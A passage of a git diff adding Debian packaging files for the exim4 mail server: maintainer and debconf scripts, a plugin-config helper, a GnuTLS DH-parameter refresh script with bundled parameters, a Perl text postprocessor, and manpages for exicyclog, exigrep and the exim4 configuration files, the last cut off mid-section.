+
+set -e
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+case "$1" in
+ remove|upgrade)
+ if [ -x /etc/init.d/exim4 ]; then
+ if [ -n "$EX4DEBUG" ]; then
+ netstat -tulpen
+ ls -al /run/exim4/
+ cat /run/exim4/exim.pid
+ pidof exim4
+ fi
+ invoke-rc.d exim4 stop
+ if [ -n "$EX4DEBUG" ]; then
+ netstat -tulpen
+ ls -al /run/exim4/
+ cat /run/exim4/exim.pid
+ pidof exim4
+ if pidof exim4; then
+ echo >&2 "WARN: There are some exim4 processes still running after stopping exim"
+ fi
+ fi
+ fi
+ ;;
+esac
+
+#DEBHELPER#
diff --git a/debian/exim4-daemon-light.templates b/debian/exim4-daemon-light.templates
new file mode 100644
index 0000000..834ce04
--- /dev/null
+++ b/debian/exim4-daemon-light.templates
@@ -0,0 +1,5 @@
+Template: exim4-daemon-light/drec
+Type: error
+_Description: Reconfigure exim4-config instead of this package
+ Exim4 has its configuration factored out into a dedicated package,
+ exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'.
diff --git a/debian/exim4-dev.install b/debian/exim4-dev.install
new file mode 100644
index 0000000..d325233
--- /dev/null
+++ b/debian/exim4-dev.install
@@ -0,0 +1,4 @@
+b-exim4-daemon-light/src/local_scan.h usr/include/exim4
+b-exim4-daemon-light/src/mytypes.h usr/include/exim4
+b-exim4-daemon-light/src/store.h usr/include/exim4
+debian/exim4-localscan-plugin-config usr/bin
diff --git a/debian/exim4-dev.links b/debian/exim4-dev.links
new file mode 100644
index 0000000..3d162d8
--- /dev/null
+++ b/debian/exim4-dev.links
@@ -0,0 +1,2 @@
+usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-dev/README.Debian.gz
+usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-dev/changelog.gz
diff --git a/debian/exim4-dev.manpages b/debian/exim4-dev.manpages
new file mode 100644
index 0000000..0bb5aeb
--- /dev/null
+++ b/debian/exim4-dev.manpages
@@ -0,0 +1 @@
+debian/exim4-localscan-plugin-config.1
diff --git a/debian/exim4-localscan-plugin-config b/debian/exim4-localscan-plugin-config
new file mode 100755
index 0000000..08fd2cc
--- /dev/null
+++ b/debian/exim4-localscan-plugin-config
@@ -0,0 +1,12 @@
+#!/bin/sh
+
+case "$1" in
+ --localscan-apiversion)
+ sed -rn 's/#define LOCAL_SCAN_ABI_VERSION_(MAJOR|MINOR) *([0-9]+).*/\2/p' \
+ /usr/include/exim4/local_scan.h \
+ | (read MAJOR; read MINOR; echo ${MAJOR}.${MINOR})
+ ;;
+ *)
+ echo Usage: $0 --localscan-apiversion
+ ;;
+esac
diff --git a/debian/exim4-localscan-plugin-config.1 b/debian/exim4-localscan-plugin-config.1
new file mode 100644
index 0000000..841ac2a
--- /dev/null
+++ b/debian/exim4-localscan-plugin-config.1
@@ -0,0 +1,40 @@
+.\" Title: EXIM4-LOCALSCAN-PLUGIN-CONFIG
+.\" Author:
+.\" Generator: DocBook XSL Stylesheets v1.72.0 <http://docbook.sf.net/>
+.\" Date: 2007-06-08
+.\" Manual:
+.\" Source: exim4
+.\"
+.TH "EXIM4\-LOCALSCAN\-PLUGIN\-CONFIG" "1" "2007\-06\-08" "exim4" ""
+.\" disable hyphenation
+.nh
+.\" disable justification (adjust text to left margin only)
+.ad l
+.SH "NAME"
+exim4\-localscan\-plugin\-config \- get information necessary to build and package exim4 plugins
+.SH "SYNOPSIS"
+.HP 13
+\fBexim4\-localscan\-plugin\-config\fR \fB\-\-localscan\-abiversion\fR
+.SH "DESCRIPTION"
+.PP
+\fBexim4\-localscan\-plugin\-config\fR
+is a tool that is used to determine various things needed to build plugins (shared libraries) for the Exim MTA. Currently there is one such plugin API \- the
+\fBlocal_scan\fR
+API. In addition to local_scan plugins, this API is also available to shared libraries used with the ${dlfunc ...} expansion item.
+.SH "OPTIONS"
+.PP
+Since
+\fBexim4\-localscan\-plugin\-config\fR
+is
+Debian(TM)\-specific, it currently takes a single mandatory option parameter,
+\fB\-\-localscan\-apiversion\fR, outputting the API/ABI version (\fIver\fR). Packages containing local_scan plugins should depend on exim4\-localscanapi\-\fIver\fR
+.SH "SEE ALSO"
+\fBexim4\fR(8), Chapter 42 of the Exim specification
+.SH "COPYRIGHT"
+Copyright \(co 2007 Magnus Holmgren
+.br
+.PP
+This manual page was written by Magnus Holmgren for the
+Debian(TM)
+system (but may be used by others). Permission is granted to copy, distribute and/or modify this document without any restrictions whatsoever.
+.br
diff --git a/debian/exim4-localscan-plugin-config.1.xml b/debian/exim4-localscan-plugin-config.1.xml
new file mode 100644
index 0000000..c7e9ef1
--- /dev/null
+++ b/debian/exim4-localscan-plugin-config.1.xml
@@ -0,0 +1,82 @@
+<?xml version='1.0' encoding='ISO-8859-1'?>
+<!DOCTYPE refentry PUBLIC "-//OASIS//DTD DocBook XML V4.2//EN"
+"http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd" [
+
+ <!ENTITY dhfirstname "<firstname>Magnus</firstname>">
+ <!ENTITY dhsurname "<surname>Holmgren</surname>">
+ <!-- Please adjust the date whenever revising the manpage. -->
+ <!ENTITY dhdate "<date>2007-06-08</date>">
+ <!ENTITY dhsection "<manvolnum>1</manvolnum>">
+ <!ENTITY dhemail "<email>magnus@kibibyte.se</email>">
+ <!ENTITY dhusername "Magnus Holmgren">
+ <!ENTITY dhucpackage "<refentrytitle>EXIM4-LOCALSCAN-PLUGIN-CONFIG</refentrytitle>">
+ <!ENTITY dhpackage "exim4-localscan-plugin-config">
+
+ <!ENTITY debian "<productname>Debian</productname>">
+]>
+
+<refentry>
+ <refentryinfo>
+ <productname>exim4</productname>
+ <address>
+ &dhemail;
+ </address>
+ <copyright>
+ <year>2007</year>
+ <holder>&dhusername;</holder>
+ </copyright>
+ <legalnotice>
+ <para>
+ This manual page was written by &dhusername; for
+ the &debian; system (but may be used by others). Permission is
+ granted to copy, distribute and/or modify this document without
+ any restrictions whatsoever.
+ </para>
+ </legalnotice>
+ &dhdate;
+ </refentryinfo>
+ <refmeta>
+ &dhucpackage;
+ &dhsection;
+ </refmeta>
+ <refnamediv>
+ <refname>&dhpackage;</refname>
+ <refpurpose>get information necessary to build and package exim4
+ plugins</refpurpose>
+ </refnamediv>
+ <refsynopsisdiv>
+ <cmdsynopsis>
+ <command>&dhpackage;</command>
+ <arg choice="plain"><option>--localscan-abiversion</option></arg>
+ </cmdsynopsis>
+ </refsynopsisdiv>
+ <refsect1>
+ <title>Description</title>
+
+ <para><command>&dhpackage;</command> is a tool that is used to determine
+ various things needed to build plugins (shared libraries) for the
+ Exim MTA. Currently there is one such plugin API - the
+ <function>local_scan</function> API. In addition to local_scan plugins,
+ this API is also available to shared libraries used with the
+ ${dlfunc ...} expansion item.</para>
+ </refsect1>
+ <refsect1>
+ <title>Options</title>
+ <para>Since <command>&dhpackage;</command> is &debian;-specific,
+ it currently takes a single mandatory option parameter,
+ <option>--localscan-apiversion</option>, outputting the API/ABI
+ version (<replaceable role="variable">ver</replaceable>).
+ Packages containing local_scan plugins should depend on
+ exim4-localscanapi-<replaceable role="variable">ver</replaceable></para>
+ </refsect1>
+ <refsect1>
+ <title>See also</title>
+ <simplelist type="inline">
+ <member><citerefentry>
+ <refentrytitle>exim4</refentrytitle>
+ <manvolnum>8</manvolnum>
+ </citerefentry></member>
+ <member>Chapter 42 of the Exim specification</member>
+ </simplelist>
+ </refsect1>
+</refentry>
diff --git a/debian/exim4.config b/debian/exim4.config
new file mode 100644
index 0000000..965b04f
--- /dev/null
+++ b/debian/exim4.config
@@ -0,0 +1,17 @@
+#!/bin/sh
+set -e
+
+. /usr/share/debconf/confmodule
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+db_version 2.0
+
+if [ "reconfigure" = "$1" ]; then
+ db_beginblock
+ db_input low exim4/drec || [ "$?" = "30" ]
+ db_go
+fi
diff --git a/debian/exim4.install b/debian/exim4.install
new file mode 100644
index 0000000..80e703a
--- /dev/null
+++ b/debian/exim4.install
@@ -0,0 +1 @@
+debian/script usr/share/bug/exim4
diff --git a/debian/exim4.links b/debian/exim4.links
new file mode 100644
index 0000000..9602836
--- /dev/null
+++ b/debian/exim4.links
@@ -0,0 +1 @@
+usr/share/doc/exim4-base usr/share/doc/exim4
diff --git a/debian/exim4.postinst b/debian/exim4.postinst
new file mode 100644
index 0000000..f80a6dd
--- /dev/null
+++ b/debian/exim4.postinst
@@ -0,0 +1,14 @@
+#!/bin/sh
+
+set -e
+. /usr/share/debconf/confmodule
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+db_version 2.0
+
+#DEBHELPER#
+
diff --git a/debian/exim4.templates b/debian/exim4.templates
new file mode 100644
index 0000000..b74e729
--- /dev/null
+++ b/debian/exim4.templates
@@ -0,0 +1,5 @@
+Template: exim4/drec
+Type: error
+_Description: Reconfigure exim4-config instead of this package
+ Exim4 has its configuration factored out into a dedicated package,
+ exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'.
diff --git a/debian/exim4_refresh_gnutls-params b/debian/exim4_refresh_gnutls-params
new file mode 100755
index 0000000..c16d2e2
--- /dev/null
+++ b/debian/exim4_refresh_gnutls-params
@@ -0,0 +1,52 @@
+#!/bin/sh
+set -e
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+
+# regenerate $EXIM4_SPOOLDIR/gnutls-params-*
+# As this can take _very_ long on machines with little entropy, we limit
+# the maximum runtime to 1800 seconds and keep using the
+# old file otherwise.
+
+# Only do anything if exim4 is actually installed
+if [ ! -x /usr/lib/exim4/exim4 ]; then
+ exit 0
+fi
+
+# Only do anyting if TLS is enabled in exim
+if [ -z "$(/usr/lib/exim4/exim4 -bP tls_advertise_hosts | sed 's/.*=[[:space:]]\(.*\)/\1/')" ]; then
+ # TLS disabled
+ exit 0
+fi
+
+TIMEOUT=${1:-1800}
+
+EXIM4_SPOOLDIR="${EXIM4_SPOOLDIR:-$(/usr/lib/exim4/exim4 -bP spool_directory | sed 's/.*=[[:space:]]\(.*\)/\1/')}"
+cd $EXIM4_SPOOLDIR
+
+# loop over gnutls-params-files
+for paramfile in `find -maxdepth 1 -regex '\./gnutls-params-[0-9][0-9][0-9]*'` ; do
+ bits=`echo ${paramfile} | sed -e 's:\./gnutls-params-::'`
+ tempgnutls=$(tempfile --directory $EXIM4_SPOOLDIR --mode 644 --prefix "gnutp" )
+
+ if [ -x /usr/bin/certtool ] ; then
+ # GnuTLS
+ if timeout --preserve-status --kill-after=15 \
+ "$TIMEOUT" /usr/bin/certtool --generate-dh-params --bits ${bits} \
+ > "$tempgnutls" 2> /dev/null ; then
+ cat "$tempgnutls" > "${paramfile}" ; rm -f "$tempgnutls"
+ else
+ rm -f "$tempgnutls"
+ break
+ fi
+ else
+ # gnutls-bin not installed, let exim generate the DH params
+ rm -f "${paramfile}" "$tempgnutls"
+ fi
+done
+
+# vim:tabstop=2:expandtab:shiftwidth=2
diff --git a/debian/eximon4.dirs b/debian/eximon4.dirs
new file mode 100644
index 0000000..240369d
--- /dev/null
+++ b/debian/eximon4.dirs
@@ -0,0 +1,2 @@
+usr/lib/exim4
+usr/sbin
diff --git a/debian/eximon4.links b/debian/eximon4.links
new file mode 100644
index 0000000..bdc19ec
--- /dev/null
+++ b/debian/eximon4.links
@@ -0,0 +1 @@
+usr/share/doc/exim4-base/changelog.gz usr/share/doc/eximon4/changelog.gz
diff --git a/debian/eximon4.manpages b/debian/eximon4.manpages
new file mode 100644
index 0000000..4f0a832
--- /dev/null
+++ b/debian/eximon4.manpages
@@ -0,0 +1 @@
+debian/manpages/eximon.8
diff --git a/debian/eximonconf-patch b/debian/eximonconf-patch
new file mode 100644
index 0000000..2b00af7
--- /dev/null
+++ b/debian/eximonconf-patch
@@ -0,0 +1,7 @@
+--- exim_monitor/EDITME 2002-07-22 09:59:52.000000000 +0100
++++ config-eximon 2002-09-03 11:51:20.000000000 +0100
+@@ -1,3 +1,4 @@
++# -*- makefile -*-
+ ##################################################
+ # The Exim Monitor #
+ ##################################################
diff --git a/debian/gnutls-params-2048 b/debian/gnutls-params-2048
new file mode 100644
index 0000000..8716426
--- /dev/null
+++ b/debian/gnutls-params-2048
@@ -0,0 +1,31 @@
+generator:
+ 02:
+
+prime:
+ b7:0b:a3:05:f1:f7:a1:65:11:e9:47:76:c3:58:f3:74
+ 7e:3a:9e:ae:53:e2:5b:a3:0e:73:d3:32:c4:54:89:37
+ f9:ab:84:3a:a1:48:ba:9c:16:49:3a:6e:f7:83:44:52
+ 27:2c:64:55:99:1b:ed:f1:cb:cd:67:4e:c0:f3:16:dc
+ fa:78:ab:1b:b0:2e:47:81:80:1f:a0:61:e2:4c:cf:7d
+ e8:05:5d:91:ee:4d:65:9b:39:17:60:f4:84:cd:91:96
+ f7:5a:e1:47:89:06:ab:48:54:60:44:43:c3:6a:10:d3
+ ba:67:58:16:0c:10:9b:ed:de:4c:b2:cc:14:1b:c6:29
+ 79:f8:42:be:2a:f4:b8:98:16:7f:30:a2:08:22:0b:ec
+ a8:d0:a7:8c:32:ef:b3:5d:eb:c6:9e:3f:1f:78:0d:75
+ e9:bd:cf:a3:35:3c:e5:4b:05:f0:e2:c0:3d:2b:9c:ef
+ bc:cc:a3:66:1e:49:dd:1a:20:f0:f9:f2:cd:05:36:10
+ b3:11:58:a5:a1:9d:eb:a8:ad:87:18:ea:3c:41:62:78
+ c2:39:83:3e:60:f8:6a:5b:53:70:ad:07:f6:56:9e:f3
+ 4f:53:74:00:01:13:ca:dc:7b:39:1f:bc:81:c3:a8:13
+ d7:26:57:05:28:1f:f9:b7:6e:02:99:38:a0:6f:92:03
+
+
+
+-----BEGIN DH PARAMETERS-----
+MIIBCAKCAQEAtwujBfH3oWUR6Ud2w1jzdH46nq5T4lujDnPTMsRUiTf5q4Q6oUi6
+nBZJOm73g0RSJyxkVZkb7fHLzWdOwPMW3Pp4qxuwLkeBgB+gYeJMz33oBV2R7k1l
+mzkXYPSEzZGW91rhR4kGq0hUYERDw2oQ07pnWBYMEJvt3kyyzBQbxil5+EK+KvS4
+mBZ/MKIIIgvsqNCnjDLvs13rxp4/H3gNdem9z6M1POVLBfDiwD0rnO+8zKNmHknd
+GiDw+fLNBTYQsxFYpaGd66ithxjqPEFieMI5gz5g+GpbU3CtB/ZWnvNPU3QAARPK
+3Hs5H7yBw6gT1yZXBSgf+bduApk4oG+SAwIBAg==
+-----END DH PARAMETERS-----
diff --git a/debian/lynx-dump-postprocess b/debian/lynx-dump-postprocess
new file mode 100755
index 0000000..e1ebbf9
--- /dev/null
+++ b/debian/lynx-dump-postprocess
@@ -0,0 +1,49 @@
+#!/usr/bin/perl
+
+open IN, '<&STDIN';
+#open IN, 'dump';
+{
+ local $/;
+ $content=<IN>;
+}
+close IN;
+
+($title,$body,$links) =
+ ($content =~
+ /^(.*)\n\s+_+\n\n
+ (\s+Table\ of\ Contents.*)
+ (References\n\n\s+1\..*)/sx);
+
+die unless ($title);
+
+print "$title\n".'-' x length($title)."\n\n";
+
+# Sort out local links.
+# The regex might not be entirely accurate.
+foreach (split /\n/, $links) {
+ ($index, $url) = /^\s*(\d+)\. (.+)$/;
+ if ($url !~ /file:\/\/.*#.*$/) {
+ $links[$index] = $url;
+ }
+}
+
+$linkno=0;
+# Split paragraphs
+foreach (split /\n(?:\s+_+\n)?\n/, $body) {
+ my $footnote = '';
+ my $rest = $_;
+ while ( $rest =~ /^(.*?)\[(\d+)\](.*)$/s ) {
+ print $1;
+ if (defined $links[$2]) {
+ $linkno++;
+ print "[$linkno]";
+ $footnote.=" $linkno. $links[$2]\n";
+ }
+ $rest = $3;
+ }
+ print $rest;
+ print "\n\n";
+ if ($footnote ne '') {
+ print "$footnote\n";
+ }
+}
diff --git a/debian/manpages/exicyclog.8 b/debian/manpages/exicyclog.8
new file mode 100644
index 0000000..7b3c759
--- /dev/null
+++ b/debian/manpages/exicyclog.8
@@ -0,0 +1,75 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXICYCLOG 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exicyclog \- Cycle exim's logfiles
+.SH SYNOPSIS
+.B eximcyclog
+.SH DESCRIPTION
+The
+.B exicyclog
+script can be used to cycle (rotate)
+.I mainlog
+and
+.I rejectlog
+files.
+This is not necessary if only syslog is being used.
+Some operating systems have their own standard mechanisms for log cycling,
+and these can be used instead of
+.B exicyclog
+if preferred.
+
+Each time
+.B exicyclog
+is run the file names get \(oqshuffled down\(cq by one.
+If the main log file name is mainlog (the default) then when
+.B exicyclog
+is run mainlog becomes mainlog.01, the previous mainlog.01 becomes mainlog.02
+and so on, up to a limit which is set in the script, and which defaults to 10.
+Reject logs are handled similarly.
+
+If no mainlog file exists, the script does nothing.
+Files that \(oqdrop off\(cq the end are deleted.
+All files with numbers greater than 01 are compressed, using a compression
+command which is configured by the COMPRESS_COMMAND setting in
+Local/Makefile.
+It is usual to run \(lqexicyclog\(rq daily from a root \(lqcrontab\(rq entry
+of the form
+
+ 1 0 * * * su exim \-c /usr/exim/bin/exicyclog
+
+assuming you have used the name \(oqexim\(cq for the Exim user.
+You can run
+.B exicyclog
+as root if you wish, but there is no need.
+
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/exigrep.8 b/debian/manpages/exigrep.8
new file mode 100644
index 0000000..f12668b
--- /dev/null
+++ b/debian/manpages/exigrep.8
@@ -0,0 +1,70 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIGREP 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+EXIGREP \- Search Exim's main log
+.SH SYNOPSIS
+.B exigrep
+.I [\-l] pattern [log file] ...
+
+.SH DESCRIPTION
+The
+.B exigrep
+utility is a Perl script that searches one or more main log files for
+entries that match a given pattern.
+When it finds a match, it extracts all the log entries for the relevant
+message, not just those that match the pattern.
+Thus,
+.B exigrep
+can extract complete log entries for a given message, or all mail for a given
+user, or for a given host, for example.
+
+The
+.I \-l
+flag means \(oqliteral\(cq, that is, treat all characters in the pattern as
+standing for themselves.
+Otherwise the pattern must be a Perl regular expression.
+The pattern match is case-insensitive.
+If no file names are given on the command line, the standard input is
+read.
+
+If the location of a
+.B zcat
+command is known from the definition of ZCAT_COMMAND in Local/Makefile,
+.B exigrep
+automatically passes any file whose
+name ends in COMPRESS_SUFFIX through
+.B zcat
+as it searches it.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+.BR perlre (1),
+/usr/share/doc/exim4\-base/
+
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/exim4-config_files.5 b/debian/manpages/exim4-config_files.5
new file mode 100644
index 0000000..b217377
--- /dev/null
+++ b/debian/manpages/exim4-config_files.5
@@ -0,0 +1,364 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIM4-CONFIG_FILES 5 "Jan 4, 2015" EXIM4
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exim4-config_files \- Files in use by the Debian exim4 packages
+.SH SYNOPSIS
+.br
+/etc/aliases
+.br
+/etc/email\-addresses
+.br
+/etc/exim4/local_host_blacklist
+.br
+/etc/exim4/host_local_deny_exceptions
+.br
+/etc/exim4/local_sender_blacklist
+.br
+/etc/exim4/sender_local_deny_exceptions
+.br
+/etc/exim4/local_sender_callout
+.br
+/etc/exim4/local_rcpt_callout
+.br
+/etc/exim4/local_domain_dnsbl_whitelist
+.br
+/etc/exim4/hubbed_hosts
+.br
+/etc/exim4/passwd
+.br
+/etc/exim4/passwd.client
+.br
+/etc/exim4/exim.crt
+.br
+/etc/exim4/exim.key
+.SH DESCRIPTION
+This manual page describes the files that are in use by the Debian
+exim4 packages and which are not part of an exim installation done
+from source.
+.SH /etc/aliases
+is a table providing a mechanism to redirect mail for local
+recipients. /etc/aliases is a text file which is roughly compatible
+with Sendmail. The file should contain lines of the form
+.br
+name: address, address, ...
+.br
+The name is a local address without domain part. All local domains are
+handled equally. For more detailed documentation, please refer to
+/usr/share/doc/exim4\-base/spec.txt.gz, chapter 22, and to
+/usr/share/doc/exim4\-base/README.Debian.gz. Please note that it
+is not possible to use delivery to arbitrary files, directories and to
+pipes. This is forbidden in Debian's exim4 default configuration.
+
+You should at least set up an alias for postmaster in the /etc/aliases
+file.
+.SH /etc/email\-addresses
+is used to rewrite the email addresses of users. This is particularly
+useful for users who use their ISP's domain for email.
+
+The file should contain lines of the form
+
+.br
+user: someone@isp.com
+.br
+otheruser: someoneelse@anotherisp.com
+
+This way emails from user will appear to be from someone@isp.com to
+the outside world. Technically, the from, reply\-to, and sender
+addresses, along with the envelope sender, are rewritten for users that
+appear to be in the local domain.
+
+.SH /etc/exim4/local_host_blacklist
+.I [exim host list]
+is an optional file containing a list of IP addresses, networks and
+host names whose messages will be denied with the error message
+"locally blacklisted". This is a full exim 4 host list, and all
+available features can be used. This includes negative items, and so
+it is possible to exclude addresses from being blacklisted. For
+convenience, as an additional method to whitelist addresses from being
+blocked, an explicit whitelist is read in from
+/etc/exim4/host_local_deny_exceptions. Entries in the whitelist override
+corresponding blacklist entries.
+
+In the blacklist, the trick is to read a line break as "or" if it
+follows a positive item, and as "and" if it follows a negative item.
+
+For example, a /etc/exim4/local_host_blacklist
+
+.br
+192.168.10.0/24
+.br
+!172.16.10.128/26
+.br
+172.16.10.0/24
+.br
+10.0.0.0/8
+
+Exim just evaluates left to right (or up-down in the file listing
+context), so you don't get the same kind of operator binding as in a
+programming language.
+
+.SH /etc/exim4/host_local_deny_exceptions
+.I [exim host list]
+contains a list of IP addresses, networks and host names whose
+messages will be accepted despite the address is also listed in
+/etc/exim4/local_host_blacklist, overriding a blacklisting.
+
+.SH /etc/exim4/local_sender_blacklist
+.I [exim address list]
+is an optional files containing a list of envelope senders whose
+messages will be denied with the error message "locally blacklisted".
+This is a full exim 4 address list, and all available features can be
+used. This includes negative items, and so it is possible to exclude
+addresses from being blacklisted. For convenience, as an additional
+method to whitelist addresses from being blocked, an explicit
+whitelist is read in from /etc/exim4/sender_local_deny_exceptions. Entries
+in the whitelist override corresponding blacklist entries.
+
+In the blacklist, the trick is to read a line break as "or" if it
+follows a positive item, and as "and" if it follows a negative item.
+
+For example, a /etc/exim4/local_sender_blacklist
+
+.br
+domain1.example
+.br
+!local@domain2.example
+.br
+domain2.example
+.br
+domain3.example
+
+Exim just evaluates left to right (or up-down in the file listing
+context), so you don't get the same kind of operator binding as in a
+programming language.
+
+.SH /etc/exim4/sender_local_deny_exceptions
+.I [exim address list]
+is an optional file containing a list of envelope senders whose messages
+will be accepted despite the address being also listed in
+/etc/exim4/local_sender_blacklist, overriding a blacklisting.
+
+.SH /etc/exim4/local_sender_callout
+.I [exim address list]
+is an optional file containing a list of envelope senders whose
+messages are subject to sender verification with a callout. This is a
+full exim4 address list, and all available features can be used.
+
+.SH /etc/exim4/local_rcpt_callout
+.I [exim address list]
+is an optional file containing a list of envelope recipients for which
+incoming messages are subject to recipient verification with a
+callout. This is a full exim4 address list, and all available features
+can be used.
+
+.SH /etc/exim4/local_domain_dnsbl_whitelist
+.I [exim address list]
+is an optional file containing a list of envelope senders whose
+messages are exempt from blacklisting via a domain-based DNSBL. This
+is a full exim4 address list, and all available features can be used.
+This feature is intended to be used in case of a domain-based DNSBL
+being too heavy handed, for example listing entire top-level domains
+for their registry policies.
+
+.SH /etc/exim4/hubbed_hosts
+.I [exim domain list]
+is an optional file containing a list of route_data records which can
+be used to override or augment MX information from the DNS. This is
+particularly useful for mail hubs which are highest-priority MX for a
+domain in the DNS but are not final destination of the messages,
+passing them on to a host which is not publicly reachable, or to
+temporarily fix mail routing in case of broken DNS setups.
+
+The file should contain key-value pairs of domain pattern and route
+data of the form
+
+.br
+domain: host-list options
+.br
+dict.ref.example: mail\-1.ref.example:mail\-2.ref.example
+.br
+foo.example: internal.mail.example.com
+.br
+bar.example: 192.168.183.3
+
+which will cause mail for foo.example to be sent to the host
+internal.mail.example (IP address derived from A record only), and
+mail to bar.example to be sent to 192.168.183.3.
+
+See spec.txt chapter 20.3 through 20.7 for a more detailed explanation
+of host list format and available options.
+
+.SH /etc/exim4/passwd
+contains account and password data for SMTP authentication when the
+local exim is SMTP server and clients authenticate to the local exim.
+
+The file should contain lines of the form
+
+.br
+username:crypted-password:clear-password
+
+crypted-password is the crypt(3)-created hash of your password. You
+can, for example, use the mkpasswd program from the whois package to
+create a crypted password. It is recommended to use a modern hash
+algorithm, see mkpasswd \-\-method=help. Consider not using crypt or MD5.
+
+clear-password is only necessary if you want to offer CRAM-MD5
+authentication. If you don't plan on doing so, the third column can be
+omitted completely.
+
+This file must be readable for the Debian\-exim user and should not be
+readable for others. Recommended file mode is root:Debian\-exim 640.
+
+.SH /etc/exim4/passwd.client
+contains account and password data for SMTP authentication when exim
+is authenticating as a client to some remote server.
+
+The file should contain lines of the form
+
+.br
+target.mail.server.example:login-user-name:password
+
+which will cause exim to use login-user-name and password when sending
+messages to a server with the canonical host name
+target.mail.server.example. Please note that this does not configure
+the mail server to send to (this is determined in Debconf), but only
+creates the correlation between host name and authentication
+credentials to avoid exposing passwords to the wrong host.
+
+Please note that target.mail.server.example is currently the value
+that exim can read from reverse DNS: It first follows the host name of
+the target system until it finds an IP address, and then looks up the
+reverse DNS for that IP address to use the outcome of this query (or
+the IP address itself should the query fail) as index into
+/etc/exim4/passwd.client.
+
+This goes inevitably wrong if the host name of the mail server is a
+CNAME (a DNS alias), or the reverse lookup does not fit the forward one.
+
+Currently, you need to manually lookup all reverse DNS names for all
+IP addresses that your SMTP server host name points to, for example by
+using the host command. If the SMTP smarthost alias expands to
+multiple IPs, you need to have multiple lines for all the hosts. When
+your ISP changes the alias, you will need to manually fix that.
+
+You may minimize this trouble by using a wild card entry or regular
+expressions, thus reducing the risk of divulging the password to the
+wrong SMTP server while reducing the number of necessary lines. For a
+deeper discussion, see the Debian BTS #244724.
+
+password is your SMTP password in clear text. If you do not know about
+your SMTP password, you can try using your POP3 password as a first
+guess.
+
+This file must be readable for the Debian\-exim user and should not be
+readable for others. Recommended file mode is root:Debian\-exim 640.
+
+.br
+# example for CONFDIR/passwd.client
+.br
+# this will only match if the server's generic name matches exactly
+.br
+mail.server.example:user:password
+.br
+# this will deliver the password to any server
+.br
+*:username:password
+.br
+# this will deliver the password to servers whose generic name ends in
+.br
+# mail.server.example
+.br
+*.mail.server.example:user:password
+.br
+# this will deliver the password to servers whose generic name matches
+.br
+# the regular expression
+.br
+^smtp[0\-9]*\\.mail\\.server\\.example:user:password
+.br
+
+.SH /etc/exim4/exim.crt
+contains the certificate that exim uses to initiate TLS connections.
+This is public information and can be world readable.
+/usr/share/doc/exim4\-base/examples/exim\-gencert can
+be used to generate a private key and self-signed certificate.
+
+.SH /etc/exim4/exim.key
+contains the private key belonging to the certificate in exim.crt.
+This file's contents must be kept secret and should have mode
+root:Debian\-exim 640. /usr/share/doc/exim4\-base/examples/exim\-gencert
+can be used to generate a private key and self-signed certificate.
+
+.SH BUGS
+Plenty. Please report them through the Debian BTS
+
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH NOTES
+.SS Unresolvable items in host lists
+
+Adding or keeping items in the abovementioned host lists which are not
+resolvable by DNS has severe consequences.
+
